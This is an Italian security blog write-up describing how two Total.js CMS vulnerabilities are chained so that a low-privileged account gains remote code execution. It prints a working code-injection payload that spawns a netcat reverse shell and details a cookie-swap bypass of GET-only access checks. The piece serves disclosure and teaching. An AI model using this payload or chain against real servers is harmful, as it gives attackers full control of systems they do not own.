From broken access control to RCE on Total.js CMS (CVE-2019- 15954 & CVE-2019-15953)

Questo articolo riguarda due vulnerabilità che affliggono Total.js CMS. Dimostreremo come, sfruttando una vulnerabilità di broken access control e una di code injection, è possibile per un utente con bassi privilegi ottenere il completo controllo del server.

Lo scenario

Lo scenario che intendiamo rappresentare è quello dove esistono due account sul CMS.
Il primo è un amministrataore con alti privilegi, in particolare posside i privilegi di creazione di Widgets ed è proprio su questa funzionalità che verte il CVE-2019-15954 di Code-Injection. Il secondo account amministrativo invece possiede solo bassi privilegi, in particolare posside solo i privilegi di visualizzare la Dashboard e di visualizzare eventi come mostrato nella figura sottostante.

Exploit it all and enjoy the shell

Come già accennato mediante il primo CVE è possibile ottenere RCE, ma per sfruttarlo servono alti privilegi amministrativi. L'idea genearle è che unendo il CVE-2019-15953 e il CVE-2019-15953, che consiste in un broken access control, possiamo ottenere RCE anche con un low-privileged account.

Iniziamo con il verificare che il CVE che ci consetirebbe di ottenere RCE funziona. Per fare questo è sufficente loggarsi come amministratore sul CMS, creare un widget e inserire il payload

<script total>global.process.mainModule.require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
localhost 2222 >/tmp/f');</script>

come mostrato in figura.
 

La funzionalità di creazione widget in effetti prevede che possa essere eseguito codice, ma non arbitrario. In ogni caso è possibile eseguire un bypass delle restrizioni imposte sfruttando le proprietà del linguaggio javascript. Con questo payload in sostanza accediamo all'oggetto global, sul quale abbiamo visibiltà, e mediante la reflection arriviamo ad eseguire la funzione exec contenuta nel modulo child_process.
Per maggiori approfondimenti sulla reflection vi consigliamo queste letture:

• https://blog.certimetergroup.com/it/articolo/security/exploiting_richfaces_in_a_heavily_firewalled_box
• https://www.html.it/pag/55423/reflection-in-javascript/

Ora attiviamo il nostro listener che ci serve per ricevere la connessione della reverse shell che stiamo per iniettare ed interagire con essa.

Una volta salvato il widget, se tutto è andato come previsto, dovremmo ricevere la conessione con la shell sul listener in locale.

Il consiglio è di tenere un'istanza di burp-proxy attiva e di intercettare il traffico, perchè per il passo successivo ci servira modificare la richiesta che abbiamo appena genearto.
Analizzando la richiesta generata nel momento della creazione del widget possiamo osservare che consite in una richiesta POST con un body in json conetnete le informazioni relative al widget creato e il cookie di sessione dell'amministratore.

Ora analizzaimo invece come sfruttare il CVE relativo al broken access control e di concatenarlo al CVE analizzato in precedenza.
Come possiamo notare se ci autentichiamo con l'account guest e provimamo ad accedere alla risorsa widget la rsposta è la seguente:
 

In effetti è quello che ci si aspetterebbe dal momento che l'account con cui siamo autenticati non possiede alcun permesso sui Widgets. In ogni caso l'applicazione è vulnerabile, in quanto esegue un check dei privilegi solo per richieste GET. Dal momento che per creare un Widgets è possibile usare una richiesta POST, allora abbiamo un potenziale bypass. Per verificare il bypass ci serve solamente prendere il valore del cookie di sessione dell'account guest e sostituirlo nella chiamata vista in figura 6. Possiamo recuperare il valore del cookie di sessione per l'utente guest analizzando la risposta che il server ci ha restituito a seguito del login

Ora non ci rimane che ripetere la richiesta di creazione del widget, ma questa volta usando il valore del cookie dell'account guest. Per chiarezza abbiamo rinominato il vecchio cookie (quello dell'amministratore supremo) come old_admin e inserito il cookie dell'account guest.
 

Se tutto è andato a buon fine dovremmo ricevere la reverse shell come in precedenza, ma questa volta abbiamo potuto ottenere la shell utlizzando un low-privilege account.

Conclusioni

In questo articolo abbiamo potuto notare quanto sia importante avere sempre una visione di insieme delle vulnerabilità di un sistema. Spesso l'unione di queste consente di arrivare dove non sarebbe possibile ragionando troppo a compartimenti stagni.

 

Reference

• https://snyk.io/vuln/SNYK-JS-TOTALJS-461099
• https://snyk.io/vuln/SNYK-JS-TOTALJS-461096
• https://seclists.org/fulldisclosure/2019/Sep/5
• https://seclists.org/fulldisclosure/2019/Sep/6
• https://www.totaljs.com/cms/